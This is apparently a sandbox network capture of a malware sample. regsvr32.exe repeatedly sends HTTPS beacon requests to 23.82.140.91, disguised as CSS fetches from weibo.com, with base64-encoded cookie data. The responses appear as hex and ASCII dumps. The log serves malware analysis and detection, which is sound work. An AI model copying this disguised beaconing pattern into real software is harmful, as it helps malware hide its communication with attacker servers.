Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:07:54 UTC 1112 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

4 192.168.2.6 49765 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:12 UTC 882 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:12 UTC 921 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:12 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:07:12 UTC 921 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

40 192.168.2.6 49807 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:54 UTC 1114 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:55 UTC 1115 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:55 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:07:55 UTC 1115 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

41 192.168.2.6 49811 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:57 UTC 1116 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:58 UTC 1117 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:58 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:07:58 UTC 1117 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

42 192.168.2.6 49812 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:59 UTC 1119 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:59 UTC 1120 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:59 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:07:59 UTC 1120 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

43 192.168.2.6 49813 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:59 UTC 1120 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:00 UTC 1122 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:59 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:00 UTC 1122 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

44 192.168.2.6 49814 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:00 UTC 1124 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:00 UTC 1125 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:00 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:00 UTC 1125 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

45 192.168.2.6 49815 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:02 UTC 1126 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:02 UTC 1127 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:02 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:02 UTC 1127 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

46 192.168.2.6 49820 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:03 UTC 1129 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:03 UTC 1130 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:03 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:03 UTC 1130 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

47 192.168.2.6 49823 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:05 UTC 1131 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:05 UTC 1132 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:05 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:05 UTC 1132 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

48 192.168.2.6 49824 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:06 UTC 1134 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:06 UTC 1135 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:06 GMT
